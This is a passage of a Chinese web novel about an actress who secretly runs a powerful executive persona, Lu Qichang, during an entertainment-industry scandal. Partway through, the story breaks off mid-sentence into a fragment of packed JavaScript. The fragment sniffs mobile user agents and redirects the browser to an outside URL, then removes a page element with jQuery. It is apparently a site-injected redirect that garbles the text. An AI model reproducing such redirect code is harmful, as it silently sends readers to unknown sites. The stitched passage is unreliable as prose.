何修顿了顿，然后说：“派到宋寅身边的是个新人助理，据梁叙说，她还不知道怎么和宋寅沟通。” 能怎么沟通，陆其昌要贯彻自己的人设，第一反应就是不要让李珂继续留在马甲身边比较好，但是他转念想到：“唯一的助理？其他人呢？” 何修：“理论来说宋寅属于A级待遇，应该配备有经纪人，但天光暂时还没有安排。” 陆其昌冷着嗓音：“那就不安排，违背公司的准则，擅用自己的账号，就应该得到应有的惩罚。” “怎么？”他冷眼睨何修。 何修低头：“您不打算借这个关头宣传宋寅一把？如果周宇倒台，这次舆论是个很好的机会。”宋寅可以被塑造成美强惨的受害者，而天光娱乐的商业价值会得到质的飞跃。 陆其昌冷呵：“一个不听话的艺人，有什么好捧的。”他和马甲的关系就是利用他打倒周宇的关系，除此之外，别无联系。 何修却接着递上一叠盛蹊的资料，因为有文件夹盖着，陆其昌翻开第一眼，目光不受控制地顿了顿，何修敏锐地察觉到这个变化，还以为陆总是不知道这个人是谁。 “和宋寅有较高关联度的是这位盛蹊，在这之前天光娱乐也和她曾经的公司有过合作，天光推荐过她，她也是周宇事件的受害者之一。” 原来是因为这个可疑点。 陆其昌不想表现得太可疑，也不想以后再来填回他和本体其实认识这个信息，所以只是垂下眼，冷淡地道：“不用管。” 他不知道对于一个易怒，高傲，性格敏感，且十分追求万事在自己掌控中的上位者来说，这样的轻巧绕过，反而是不同寻常的。 因为他已经不自觉地把她平等对待了。 而陆其昌恰恰是不会平等看人的一个人。 他起身，手压在稍稍弹开，但最后还是被他强势按下的硬壳文件夹封皮上：“一个放弃自己的人而已，有何意义。” 何修对“放弃自己”的理解为，盛蹊自己放弃了反击的机会，退出了娱乐圈，那么周宇的兵败如山倒，她也就确实不必参与了，陆其昌也的确是这个意思。 但是在听到梁叙和同事议论：“这位阎王也不知道今天发了什么疯，我说到没有公关部之后，他非要出力成一个公关部。”他喝水，嘲讽：“请公关部的钱，快比我们一季度盈利还高了。”后，变成了： “陆总，您是否需要盛女士来参与？” 陆其昌冷冷淡淡地看向他。 何修自以为看穿了这位陆总的全部情绪，他也已经做到一个金牌秘书能做到的全部了：“公司代表周宇演艺过程中的受害人，执行了这次公关方案，还会无偿援助他们对周宇进行起诉，作为回报，受害人自己当然也应该到天光娱乐公司，表达对公司的感谢。” 她放弃了自己——他都替她出手了，她依然没有任何动作；没有意义——既然她这么不识好歹，那他自然也不必觍着脸去求她，来看看她曾经那么畏惧的庞然大物，原来如此不堪一击，更不用说期待她来见他了。 何修是这么理解的。 甚至陆其昌冷笑着嘲讽他，什么时候让他做这种多余的事了，他还是从善如流说，好的，那会议会照常举办，只是不会特地通知他了，陆其昌的眼神终于冷下来。 他发现，他不可能切断和本体的关系。 至少从他的由来和未来的目的来说，如果他要不顾公义，徇私舞弊地包庇本体，和本体的关系暴露是迟早的。 他只是要想想，要怎么成全和本体的关系。 陆其昌这么想着垂眸，在何修二次确认的情况下，没有回答他的话，但是重重关上的门，已经让何修自觉，他摸到了陆总做这件事的根本理由之一，和陆总的一点过去。 陆总似乎对名字叫盛蹊的女演员很恨铁不成钢？而且即使是对她很在意，他依然没有耗费大力气，在周宇如日中天的情况下，去锚定对周宇的胜局，他只是在成功概率最大的时候，推波助澜了这么一下而已。 而且即使推波助澜后，他也不是完全无私地把这个结果隐瞒着，而是冷眼看着，她会不会来找自己，他能不能索要到报酬。 ……真是精致利己者毫不遮掩的冷血风格啊。 何修感叹。 27. 第 27 章 盛蹊是在飞行快结束的时候醒来的，从宁城到宋寅现在剧组所在的城市航行旅途很长，她有余力切换成陆其昌马甲去处理这些事。 但切换回来前仍然需要陆其昌告诉何修，他需要休息一会儿，不要去打扰他。 何修轻手轻脚退出办公室外的时候，盛蹊在机场确认现在的舆论情况。 周宇也算是墙倒众人推了。 林依非当时对周宇状况做出的推断并不让人吃惊，因为爆红这么些年来，周宇除了自己并不洁身自好外，在外也得罪了不少人。 他在圈子里地位超然，除了不能和正剧老戏骨比，男流量中他也算是头一份，和他咖位相当的不多，但比他咖位低也被他打压过的，却比比皆是。 就算蚂蚁咬不死大象，那么多人出来倒油也足够路人半信半疑了。 最重要的是，周宇在业内并不缺乏对家。 半个月以前就有业内在传白熊在转移周宇身上的娱乐资源还有舆论影响力，当时他们都以为这是要保周宇，让他低调做人把事度过去。 现在发现分明是白熊打算弃车保帅了，资本就算逐利也是聪明的，就算他们知道了，也能无视周宇身上的投资风险，他背后压他黑料索要封口费的受害人们也不是吃素的。 资本不愿意兜底，对家疯狂下场，普通粉丝开始怀疑，路人已经在吃瓜狂欢，虽然事情还没定性，但是基本圈内的人都知道，周宇的事业算是完了。 要么息影，要么拒不承认然后进去。现在看来，周宇想走后一条。所以最新发布的某音视频团队还在粉饰太平，评论区已经秒开嘲讽，嘲上热搜了。 作为当事人，也确实有很多路人找上门来对她说抱歉，还有很多当初的粉丝，也和她留言说早就知道她是清白的，但是当时周宇粉丝声量太大了不敢说，盛蹊以为自己会看得非常认真，但是看到这些评论的时候反而有点走神。 短短几天，这个圈子里发生的一切对她的冲击都太大了，有时候她都觉得，是不是她这样相信事情真相终究会大白，而不是想谁操控就操控的人，就不适合待在娱乐圈里。 她不该相信这个圈子里是有实力和公正一说的，对吗？所有的一切都被资本标好价码。她站在人流穿梭的机场，看着他们这些行人，各自都有自己的事要做，前程去奔赴，一时不知道自己该何去何从。 没想到何修没有去打扰脾气甚糟的上司，反而派了人来接行程不知道怎么泄露出去的盛蹊。 而且他本来只打算派人去接，发现陆总是这么多天第一次在办公室休息后，又改变了主意—— 他出办公室的时候发现办公室内甚至没有陆总爱喝的咖啡，天光娱乐在陆总来之前也只是个小公司，想必各项设施都不是很完备，而对睡眠质量要求很高的陆总居然就这样将就歇下了。 看来见盛蹊对陆总来说是一件比较重要的事。 既然能揣摩到这一点，那他当然是亲自来接合适，而且他能预想到，陆总能说出她自己放弃自己的话，盛蹊对于天光为什么会邀请她，她要去见的是谁也应该是心知肚明的。 毕竟只有已经被陆总抛出过橄榄枝，却又狠狠拒绝了他的人，才有资格被陆总那样的人记住不是吗。 所以何修站到盛蹊面前时，并没有打算隐藏来意，而是微笑说：“盛女士。” 盛蹊抬起头，有时候真的对这种人精一样的工作人员处理事情的能力和心思感到佩服，她还有点累，所以略垂了垂眸，就上了车。 她在思考，如果可信度不够强行开双开，会导致这第二个马甲才出现被收回去，然后周宇的倒台出现别的意外吗？ 她看着车窗玻璃，胡思乱想。 何修系好安全带，温和说：“陆总正在等您。” 盛蹊眼睫颤了一下，她忽然说：“不去天光娱乐。” 何修有点惊讶，盛蹊的心跳慢慢平稳下来，她轻轻说：“我是来找宋寅的。” “……”何修尽职尽责地思考两秒，觉得他如果打电话给正在休息，和等着盛蹊去见他的陆总告知这个消息的话，这位宋寅会不会欢迎不知道，反正陆总应该是会大发雷霆了。 但他不可能强行改变盛蹊的行程，而且陆总的话本来就是他也觉得盛蹊可能不会来见他的意思。 他思考两秒，最后还是友好微笑：“好的，那我送您过去？” 盛蹊看了他两眼，又移开视线，何修一边不动声色地观察对陆总来说可能不一般的盛女士的性格、偏好的细节，一边在想，宋寅。 哦，想起来了，那个最先控告周宇，还被陆总批为不尊重公司纪律，不给配经纪人的艺人。 ……何修觉得自己好像又发现了什么不得了的大事。但是没事，他做秘书这么多年什么事没见过，他依然眼观鼻鼻观心，专心看路，把车开得稳稳的，准备送盛蹊去《若星辰》的古装场景取景地。 路上盛蹊睡着了，他放慢车速，没过多久接到陆总的电话，他还没来得及解释，陆总就说：“接到人了？” 何修：“……” 他控制着语气：“是的，盛老师刚下飞机，有点累了，所以现在正在休息。”他看了眼车内后视镜，又说：“她好像和朋友已经约好了，所以我正在送盛老师过去的路上。” 他说完，等着陆总的消息，同时又希望盛老师绝对不要在这个时候醒来，不然这种靠他撒谎，得来的岌岌可危的平衡就要被打破了，他的年终奖也要被收回了好吗？ 陆其昌冷笑了一声，笑得何修默默地把车停了。陆其昌慢条斯理地说：“周宇塌台了，现在所有的眼线都跑去盯周宇和他相关的人事上，她现在要过去找宋寅？” 何修心想，又不是我要去的，您和盛老师说啊，但是看盛蹊睡得很沉，他还是把隔板升起来和老板说：“是，老板，您说得没错，是我欠考虑了，我现在就送盛老师回酒店休息，等事件平息了我再送盛老师过去，盛老师一定会理解的。” 说完他重新启动车辆，准备调头，陆其昌的声音在车载蓝牙的电流声里显得像一只阴沉的，沉默不语的准备捕猎的猎豹。 他呼吸并不是为了生存，而是在盘算怎么盘剥猎物的血肉。 陆其昌继续说：“把宋寅那边也监管起来。” 他冷冷说：“别再发什么不该发的东西。” 何修：“……”这是要阻止他们联系的意思。 他反复默念了三遍，这是法治社会，这是法治社会，公司出于舆情考虑建议艺人关闭相关通信和账号，是合理的，是合法的，才一边开车一边通知下去。 本来他们已经快到了，何修通过车窗看着堵得不可开交的各类狗仔车辆时暗道了一声老板这个理由也算说得过去了，然后慢慢开着车，在盛蹊醒过来的时候说：“盛老师，狗仔太多了，为了安全我们还是先回去吧，日后再来可以吗？” 盛蹊好像还不具备清醒时的反应能力，停顿两秒，嗯了一声，然后说：“我想回我的公寓去看看。” 刚刚确实是她欠考虑了。 宋寅和演了很多年戏还是一文不值的她相比，还是不一样的，要不是系统让她分心留意一下宋寅那边的状况，她都不知道，宋寅现在也是舆论的中心，想见也见不到了。 她请假的事也已经上了热搜。 她不想再被热搜卷进去，却也不知道除了曾经的家她还能去哪里。 何修觉得盛老师应该是因为最近发生的事太多，所以突然忘了：“您家，应该是在宁城？如果您需要，我可以在事情解决后陪您回去一趟，但是现在我们还在姑妄，所以……” 盛蹊靠着车窗，她不知道以一种什么心情垂眸说：“公寓的产权应该已经到了你们公司手里吧。” 她果然知道他是哪来的，何修心想。 也知道陆总入职了天光娱乐，她甚至知道，她被邀请来这里的这件事情的完整始末，何修再次评估陆总千里迢迢回这里当娱乐公司副总的原因，然后为陆其昌解释说：“陆总前几天才回国，这件事，我想他并不知情。” 虽然陆总有本事人在国外房子却买在他名下，但是看陆总提都没提，他猜测，应该是有人自作主张。 不应该啊？难道还有人比他清楚陆总和盛小姐之间的关系？ 何修这么想着，她说：“我想把房子拿回来。” 那意思还是，我们去见陆总吧。 他看了看后排，盛蹊的状态不算好，但也算不上很糟，更重要的是他觉得以那位现在的状态，早点送盛蹊过去，陆总会早点消火。 他发起火来可是整个公司的人都噤若寒蝉的。即使他有丰富的应对经验，也不想面对。 何修从善如流：“我现在就打电话给陆总。” 盛蹊轻轻顿了顿：“不用。”她拿出手机。 果然何修相信，盛蹊应该有陆总的电话，而且这电话应该很久没拨过之后，她手机上就出现一个号码，盛蹊并不害怕会不接通，因为她打算用这两分钟的双开可信度消耗解决后期一些问题的。 可是陆其昌居然给挂了。 这是盛蹊没想到的，她怔了一下。 系统默默解释：【马甲角色可信度过低的时候，行为会更容易受到他人可信度倾向的影响。】 就比如何修现在认为，陆总会接到这个电话，也会知道是盛蹊打过来的，但他不会接的。 陆其昌这种冷血高傲睚眦必报的人，他不亲眼看到盛蹊给他低头，怎么会甘心先接受她的求和呢。 陆其昌不是个疯子，顶多就是比正常人更暴躁一点而已，但他绝对是个掌控欲很强的人。盛蹊可能通过别的方式联系宋寅，他都不允许。更不会允许盛蹊在电话中和他简单说明了。 他就是个傲慢到要等盛蹊自己过去的人。 盛蹊突然轻松下来，或许是这个受她掌控的马甲，在别人的想象里又多了很多鲜活的细节的事，让她忽然脱离了“舆论被资本掌控，而且并不是正义的”的窒息氛围，回到了营造角色的单纯目标里。 她忽然明白，原来可信度倾向的作用，是让马甲在各个人的认知倾向里，都像是一个真实存在的人。 她没再打，好像习惯陆其昌的这种傲慢一样。 接下来的时间她和何修聊天：“你们今天上班？”今天周日，按理说不会。 何修老老实实说：“公关和舆情部已经忙得全公司打转了，不过我单独服务陆总，所以还好。” “嗯，”盛蹊轻轻应了一声，“他应该很信任你。” 何修笑：“不然怎么会让我来接盛老师呢。” 这句话大概没有起到恭维和调节气氛的作用，盛蹊又看向门外了，并且看到眼熟的中式高级会所，目光轻轻顿了一顿。 作为高级秘书他的考虑当然是很周到的：“在公司不方便，而且公司现在应该也有很多狗仔蹲点，所以陆总选定了这里。” 宋寅拿到程兰那个角色的时候面试的会所，这里应该是连锁的另一家，布局氛围，一模一样，盛蹊走进去，可能是车内空气不流通，她有点头晕目眩。 何修虚扶了一下，然后说：“没事吧？您先在竹苑包间里休息一会儿，陆总稍后就来，我去请服务员给您上一点茶。” 他走开了，盛蹊在外面站了一会儿，又碰到了错过李若白这个角色，同样和宋寅在会所里碰到过的连拾。他好像很烦躁，看到盛蹊，移开视线。 也对，他不认识她。 但他很快顿住，应该是又想起来了，走过来和她说了一声：“他还挺聪明的。” 连拾和周宇都是白熊要捧的人，连拾大概也不干净，所以最近也没什么声响，对她说这句话，无非是要挑拨。 盛蹊没看他，轻轻上楼推开竹苑的门，这家会所楼上就这一间，空气清新，有淡淡的熏香，不浓，盛蹊靠在沙发上坐了一会儿，睡着的时候，陆其昌起来了。 何修赶回公司，奇异地发现陆总的脸色好了不少，虽然眼睛里还是有那种惯常的不耐和戾气，但是已经比之前说到周宇时好了很多。 何修说盛老师已经在会所等着了，陆其昌站着，端起茶喝了一口，明明是要出发的姿态，偏偏茶喝得很慢。 他慢慢说：“她有说什么吗？” 何修停顿了一下，委婉道：“盛老师提到了她名下一套房子，好像您来之前，被天光买下了。” 陆其昌笑了一声，嘲讽：“就这些？没报酬？” 他不能无偿给人干活。 陆其昌下巴微抬：“你去，把合同拿过去，等她什么时候真的愿意来看我了，你再带她过来。” 何修：“……” 冷静，冷静，领导不做人是正常的。 但陆其昌再次以人设的理由，推迟和本体的见面后，摩挲着茶碗边缘时，突然想到，她以前很多年都不受公司重视，要圆陆其昌这个人设最大的矛盾点就在于，他怎么会对盛蹊多年的际遇置之不理。 还不是因为，她太清高。陆其昌脑子里冒出这个念头的时候，居然嘲讽地笑了一下，他也不知道是嘲讽自己这个人设的过于直白，还是嘲讽本体。 但他知道，他想要这个人设和盛蹊较劲的原因不是什么钱、色交易，而是你为什么不愿意向我低头。盛蹊，你为什么就是不愿意承认。 你觉得这个世界不公平，是因为它不对你公平。当有人愿意不计较市场价值、演技这些你认为似乎很重要的事，就是愿意关照你的时候，你还是心动的。 你无非是，嫉妒能被那样关照的人为什么不是你。 何修站在原地一会儿，等陆其昌瞥他让他快去的时候，他还是顿了顿说：“陆总，盛老师现在在宁戏就职，她……已经不在这个娱乐圈里。”言外之意是，您可以给的这些东西，她或许不稀罕。 或者从来就不在乎，否则也不会争辩不过，就直接退圈了。 盛蹊很像是他以前遇到的一种人，技术人员，他发现他和你讲不明白，就干脆懒得讲了，只做自己的事。不过盛蹊和他们不一样还是因为，她有朋友还在娱乐圈。 何修看陆总一眼。而且这个朋友关系还不一般。 陆其昌说：“不在这个圈子，就不会受到影响了？”他笑了一声：“她以为她能请到假，是因为宁戏为了她一个人把排好的剧目表推了？还不是因为和周宇有关联，怕粉丝闹事。” 来敲门的梁叙忽然窥见了这位副总的底气。他来天光不久，甚至可以说一点自己的班底都没有，可他依然对圈内的事了如指掌。 可以说就他手里攥着，指缝里露出来那一些，都足够娱乐圈一些新人打得头破血流。 而且陆其昌还说，他和盛蹊认识？那踩周宇一脚可能就不单单是发泄私怨了？更多的还是，他想让盛蹊看到，她绞尽脑汁要摆脱的一切对他来说不值一提？ 为什么之前没出手……可能就是陆其昌就是想冷眼看着。看看她骨头到底有多硬，才能明知道求他帮忙，就能迎刃而解的问题，她要花无数力气去抗争了。 但盛蹊退圈了。 梁叙心里莫名有点感慨，不知道为什么，陆其昌这种不择手段的冷血商人，和盛蹊这种一心演戏，甚至有点不问世事的单纯的演员，有这样的交集，甚至是很狗血的交集，他竟然觉得很正常。 可能人就是会被自己的相反面吸引吧。 而且她确实不曾低头。他所认识的盛蹊就是这样的。 但是陆其昌是一个不达目的誓不罢休的冷血商人，他会用他手里一切的筹码，哪怕牺牲利益，也会让自己掉在地上的话捡起来。 所以，他不甘罢休来了。 何修只能屈服：“盛老师会想清楚的。” 陆其昌嘲讽：“不要自作主张。”他要的是她一步步走到这，不是被人胁迫过来。 何修忽然感觉压力山大，转头看到梁叙偷听到了一半，面带微笑。既然陆总不在乎盛老师来这被公司其他人看到，那他听到也没什么的，给他们提点醒，他们也知道盛老师来的时候该用什么态度面对他。 只是他不明白，陆总不是很着急，可为什么每次要见面了，陆总就会变得更高傲一点，要他提出邀请也是，忽然不去会所了也是。 算了，何修叹气，两头劝是秘书的日常，只是陆总这位暴君这，他是不敢劝的，只能去劝盛老师了。 他又返回会所，一个人回的，上楼的时候，盛蹊在浇会所里的花，她倒是喜欢花，只是很久没有心情养了。 在维持陆其昌人设的同时，保持住马甲和本体不用见面，减少可信度消耗的局面，是盛蹊费心经营才达成的结果。 所以她对何修的委婉转达没有表现出任何惊讶，在何修看来却是这位盛女士，其实已经这样被逼迫试探过很多次了。 何修当然相信陆总不至于违反公序良俗以势逼人，他更觉得这两人之间像是不同价值观，然后陆总始终占据世俗成功上风，所以不断嘲讽打压、却无法使盛蹊认同他的结果。 他焦急暴躁，是因为他知道，只要盛蹊不认为他是正确的，那么他永远不可能真的把盛蹊逼来向他低头。 何修想了很多。 盛蹊只说了一句：“他愿意帮忙，我很感激。” “……”何修一时间不知道该如何传话了。 连他这个局外人都看出来了，陆总之前一直在国外，不愿意出手也冷眼旁观，就是给盛蹊一个教训。他不期待她主动低头，反而期待她吃够教训明白他的方式才是正确的。 但是盛蹊，她不仅不愿意低头，还对他宣布胜利的最终出手表示感谢，看起来就像是感谢他旁观了九十九步，最后还是走出那一步一样。 她不是怨恨，后悔，自己的倔强招致他的冷漠，而是觉得，他什么都不做都正常。 陆总听到会气死。但他能怎么办呢，何修只能传话，为了保险，开车回去之前特地先打了个电话告知，陆总没有任何回复，直接挂了电话。 何修往返好几次，开回去的路上还在想，这不会是他最后一次往返于会所与公司之间了吧？ 见到陆其昌，陆其昌说：“你看过她的戏了吗？” 何修很惭愧：“没有。”得知关系不过过去一天，他还没有把功课做到那种地步。不过正在他斟酌，预备表示盛老师演技还是很好的时候，陆其昌拿起钥匙，嘲讽说：“一文不值。” 何修还想问陆总怎么忽然又冒火了，得知地点的路上忽然又明白是为什么了：白熊有负责人请陆总过去，看一场没有上映的电影。电影里有周宇，也有盛蹊——他们绯闻的前置篇章，就是这场合作。 周宇粉丝一直在传，盛蹊喜欢周宇就是在这儿，而且在这电影中已经有端倪，只是可惜电影版号有问题，一直没能上映。 这个白熊负责人，消息倒是灵通。 何修全程看着陆总脸色阴沉地上车，脸色阴沉地下车，心想，盛老师本来就不愿意低头，白熊还在这个时候出奇招，算是踢到了铁板上了。 白熊的负责人大腹便便，在高清影院里就他和他助手两个，笑着对陆其昌说话，还暗示，这部电影想上随时能上。原来不是版号问题，是制片方压着。 陆其昌冷笑。他不给对方面子，可信度倾向越倾向于“他能量很大”。不过陆其昌第一反应是无趣。 她有过那么多角色，陆其昌是情绪最激烈，表现最外放的一个，不过不代表她只是在表演陆其昌的愤怒，她能感觉到，陆其昌有一部分愤怒，是真的来自于她的愤怒。 也很合理。她毕竟不是泥人啊。可是她退圈后有望上映的第一部电影，就是他们拿来讨好他的吗？ 陆其昌全程面无表情看完，没管白熊高层的夸赞叙述和捧着的语气，然后侧头，冷漠和阴森地注视着对方，说：“你是不是以为我弄周宇，真是因为他得罪了盛蹊？” 白熊负责人表情一顿。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260241|179557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >陆其昌大拇指轻轻摩挲食指上的指环，本来没有的，但白熊负责人视线顺着他的动作一看，指环就有了，还是很名贵的玉质的，一看就价值不菲。 陆其昌身上充满了那种在国外管束很宽松的地方说一不二的匪气，虽然因为正装约束，收敛了很多，但是在宽敞黑暗的影院里，他这样的气质反而更加外放。 拿到马甲时盛蹊还是第一次尝试，直接在现实中没有重来，没有OOC机会的自己规划演绎一个活生生的角色。 但陆其昌觉得不是一个刻板印象塑造下，可以被轻易讨好的人。 他弯唇，眼睛里没有笑意，动作更是一点礼貌都没有，漆黑的眼珠子显得很晦暗：“那你们猜错了。” 他冷冰冰地说：“为了讨好她，就更不应该把他弄倒了。”只有周宇一直压在她顶上，她才会走投无路，才会想到向他求助，不是吗。 很可惜，陆其昌不是一个只考虑盛蹊，或者说，他不是一个感情目的至上的人，他是一个复杂的，权衡利弊的利益生物。他冷血，只是在感情上冷血，会用最小付出获得最大回报而已。 谁说他是做好事不留名的性格了？ “这片子你们爱销毁就销毁。”陆其昌起身，身高很高，所以导致他面对白熊负责人也居高临下，虎背熊腰的，像是一座高山一样，白熊负责人后知后觉感到畏惧，突然想起来，陆其昌手腕确实很狠。 他嗤笑一声：“谁在乎？” 于是在场所有人都明白了，他不是什么热爱艺术，或者真心想打造出一个他的娱乐圈的爱心人士。他入圈，干涉这个圈子里的事，纯粹是因为，他想得到盛蹊的妥协。 仅此而已。 ……看来是猜错了啊。白熊负责人叹气，不过也没有多失望，本来就是再尝试尝试，周宇要爆雷，他们早些时间就预料到了，他和助手说：“通知公司那边，该放手放手吧。” 他喃喃：“天光娱乐，也不知道会被他带成什么样。” 陆其昌大跨步走出影院，忽然看到可信度倾向暴涨，大概是白熊那边的大集团知道了他干的事，在这个负责人渲染下，对他有了个初步的印象。 他和系统说，双开可信度应该够了，然后下午就在办公室见到本体。 何修很上道地关了门，而且守在离门不远的地方，很不幸隔音效果很好，更不幸地是没过多久，门就打开了。 他下意识看过去，意外发现，两个人交谈得不算愉快。不过以他的视角来看，不愉快也正常。 意外的是系统。它还没见过本体和马甲互相争执的。 这不关盛蹊的事。她确实是想和自己好好沟通，暴躁是陆其昌的人设，并不影响他想庇护本体的决定。 可是，她内心中的矛盾感占了上风。陆其昌马甲和本体，有被误解的针锋相对的关系，果然是来源于生活，而并非是她构造而已。 陆其昌居高临下，他有点太高了，身形伟岸，而且硬朗脸庞和手握大权的经历也很难让他平等和人说话，他和本体说：“你可以和我结婚。” 说是很好的朋友……是没有血缘关系的兄妹，甚至是意外救下他的恩人。 陆其昌：“只要你想。”他声音里不自觉带上嘲讽：“你想怎样合理地运用我的资源做不到？” 她过不去心里那关，无非是觉得有马甲在她还是在作弊，可只要别人觉得他们是夫妻，是兄妹，她借用他的关系就是正常的。 她不想演戏了吗？ 何修悄悄地把吸气声音降低，实在不理解，一次简单会晤怎么就上升到结婚话题了。 但盛蹊还是说——她摇着头——“不一样。” 陆其昌冷不丁开口，因为情绪过于平静，何修分不清他是不是在暴怒，只是压抑着：“难道宋寅的出身对于你来说就很公平吗？” 盛蹊很迷惘，她看向他：“他至少是会演戏的，他也在演戏……”也许脸也是作弊的成果。 但是：“你和我们不同。” 这句话说出来陆总周身温度骤降，何修猜测是因为“我们”这句话。 盛蹊说：“你的一切都是唾手可得得来的——” 陆其昌猛地攥起盛蹊的手腕，他沉浸在情绪里，忘了马甲的身形过于高大，而且他的手掌也太有力了，一拉就几乎把本体整个拉过来，像是把她也攥在怀里。 但他的表情更可怕，他阴沉地注视着她，因为不担心是其他人，所以情绪有一种无需遮掩直接沉入最深最暗端的坦率，阴暗，他冷冷地从牙缝里挤出字来：“那你是说，你明知道我已经出现了，知道我拥有这一切，还是不用。” 他咬牙切齿，一字一顿：“你是告诉我，你以为的你需要我，你能接受我，是在耍我了！” 何修暗道不好。 陆其昌是真的暴怒：“我出现在这里是为了让你更方便，更清晰地看清楚，我想法的可笑的吗！” 整个公司噤若寒蝉。 陆其昌的暴怒震得隔壁几个办公区的人都能听到，霎时间连键盘声都没有了，盛蹊有点无力。 她说：“我不是这个意思。” 她的声音那么轻，可在陆总暴怒的情况下居然还能听到：“我的意思是说，你保持你的成功就可以了，何必拿我们两个去赌？” 她承认，让马甲庇护本体和宋寅很自私。可是最可笑的是，她打消这个念头并不是因为她不再自私了或者不知道陆其昌地位的含金量，她只是觉得。 陆其昌也是她的角色。没必要和本体联系在一起，成为一个有概率失败的，乏味的角色。 他就做他的成功精英，不好吗？她也不是非要背后有人，才有勇气继续待在这个圈子里混。 她还是比她想象得清高多了。 “所以你还是在耍我。” 陆其昌攥着她的手腕走到天光娱乐中间：“你自己看看，我从国外到这里来，做一个毫无实权的可笑副总，难道是因为你说，我们各自安好比较好？” 他盯着她的眼睛，吓得旁边的人都不敢说话。 陆其昌又开始冷笑了，他忽然说：“好啊，你现在走出去，看看谁碰到你，你和他说，你和陆其昌一点关系也没有，谁会相信。” 他声音放缓，有一种恶魔低语的残忍：“不是你想就能摆脱掉我。你说不想因为我受益，还不是和天光娱乐毫无关系，仍然到顶楼办公室来了吗？” 就和宋寅最终会成为盛蹊的代言人一样。 他们和她有关系不是因为她想，是因为，他们从诞生起就注定是这样的。 “那我说我可以现在开始就和你切断关系呢？” 陆其昌笑了。他笑是因为他真的发觉，本体心中想法就是这样，她本来是因为希望陆其昌可以真的让周宇罪有应得才来，可是真的这样做了之后，又无法接受。 她就像是准备当刽子手的普通人一样，以为自己掌握了铡刀，会心中痛快，会大仇得报，可真正举起铡刀，又和宋寅表演被“霸凌”依然会良心不安一样，不愿意放下内心的枷锁。 “你搞清楚，”陆其昌的傲慢高贵刻在骨子里，即使是对盛蹊也是这样，“公正，只论实力说话的娱乐圈，只存在于你脑子里。” 他没放开攥着盛蹊那只手，就像她一直掐着自己的手腕让自己清醒一样：“如果这个地方真的是公平的，我为什么会出现在这里？” 她明明知道。 她心里都清楚。 她热爱的行业，没有绝对的公平。 陆其昌点头：“你想等一切规则都公平透明之后，再凭你的演技出人头地，可以，那就等我在这个圈子里斗败了再说吧。” 陆其昌就是资本掌控话语的一个缩影。所以哪天谁认为圈子里有陆其昌这样一个人才是不正常的，他不该存在了，她倒是可以心安理得地去凭实力竞争了。 “……”盛蹊自己的声音微弱：“我已经不在这里演戏了。” 可他们都知道这话只是骗自己。她如果真的对这个行业失望，那宋寅呢？果然陆其昌一个字都不用说，冷笑一声，轻易就让盛蹊深深吸气。 她看起来像是要晕过去了，其实盛蹊只是，她只是忽然明白，她只是装作自己的世界观受到了冲击，其实她看到演员要在桌上陪资方喝酒，营销号受公司豢养，剧都是它们投资的时候就知道了。 不向资本屈服，哪来的公平。 就像周宇，也不是因为他们被她斗败了，是因为资本也把周宇放弃了。 陆其昌抓紧机会诱哄，他甚至不在乎这是在大庭广众，在其他人屏住呼吸偷听之下，因为那就是他的傲慢。 而傲慢可以成全陆其昌的可信度。这整个过程，也不仅仅是在理智感情交锋吧，是陆其昌这个“角色”和盛蹊这个“角色”相遇之后，必然有的冲突，碰撞。 盛蹊这么告诉自己。 ——他说：“你厌恶资本，可是我至少是你熟悉的人，至少，我不会像他们，向你索取一些你无论如何也不肯交换的。” 那一个精致利己的商人，他会需要的，将是什么呢？盛蹊闭上眼睛。 陆其昌看她好像没有反抗的力气了，笑了笑，何修很想提醒这里还是内地，是法治社会，但陆其昌只是把她拉进怀里，手指轻轻摸了摸她的头发： “和我签那份之前就给了你的协议。” 他柔声：“他们有你没有的东西。” 脸。曝光度。资源。靠山。 “但你有我。” 何修看了盛蹊一眼。 他看到盛蹊口袋里的手机震动了两下，但是最终没有接通。他移开视线，想，总不会是那位“宋寅”的。 坚持和追求在金钱资源这些面前，显得如此无力。 他悄悄问过陆总，协议是哪方面的。陆总看了他一会儿，慢慢说：“我看中她，她不乐意，我让她乐意就是了。” 资本买股的，也可以是她自己。 28. 第 28 章 盛蹊的可信度不够了，上车她就昏昏沉沉地睡了过去，不过这在旁观全程的何修看来很正常：和陆总打交道就是要这么耗费心神的，而且盛老师精神压力也应该非常大。 只是他还是不便评论，和陆总这么一个狡猾的商人合作，对盛蹊来说是不是件好事，他只是在目送盛蹊进入酒店房间的时候，再次评估了一下，不带主观色彩地评价，盛蹊的外貌。 对于普通人来说，盛蹊自然够漂亮，而且即使是在美女如云的娱乐圈中，她也绝对不是不好看的那种类型，让何修来说，他会觉得，是略显寡淡。 寡淡并不是无趣，而是相比浓墨重彩的，五官更加大气亮眼的女明星来说，她就像是需要一个人去细细注意，才能发现她五官漂亮的存在。 但是和陆总对峙后，何修惊奇地发现，盛老师在和陆总分开、而且她像是在交锋中落败，被迫接受了他的协议之后，她五官中的某种神采突然又回来了。 和陆总对峙的盛蹊非常无力，但是却又非常，引人注目，那是一种，薄雪一般的漂亮。脆弱的，闪烁着晶莹，却又不屈。 他不知道陆总是不是因为这点，才费尽力气，才要使劲攥住盛蹊这颗不安分的心，但他很确信，就是因为盛蹊一直这样，她一直明知道自己后退一步能获得什么，陆总才一直穷追不舍。 所以他对盛蹊选择的保留态度还在于，他太清楚商人和一个男人的劣根性，实在很难相信得到之后，陆总不会做什么，让她再次跌到谷底的事。 不过何修很快就再次说服自己，他和盛蹊无亲无故，他只是一个职位比较高级的打工人而已，顾不上同情别人，而且陆总怎么说呢，说实话，何修在开车回去的时候还在思考，虽然脾气很大，而且时常阴沉，要求多得令人发指，但他至少是有人味儿的，应该不会做得那么彻底吧？ 何修一路开一路想，上楼发现陆总在翻他给盛蹊的那份协议，和他之前拟的，关于她那套公寓的产权合同。产权本来是梁叙的，但他知道之后当然是立刻呈交了，以何修的办事效率，半天就能办好，但何修还是在门口敲了敲门。 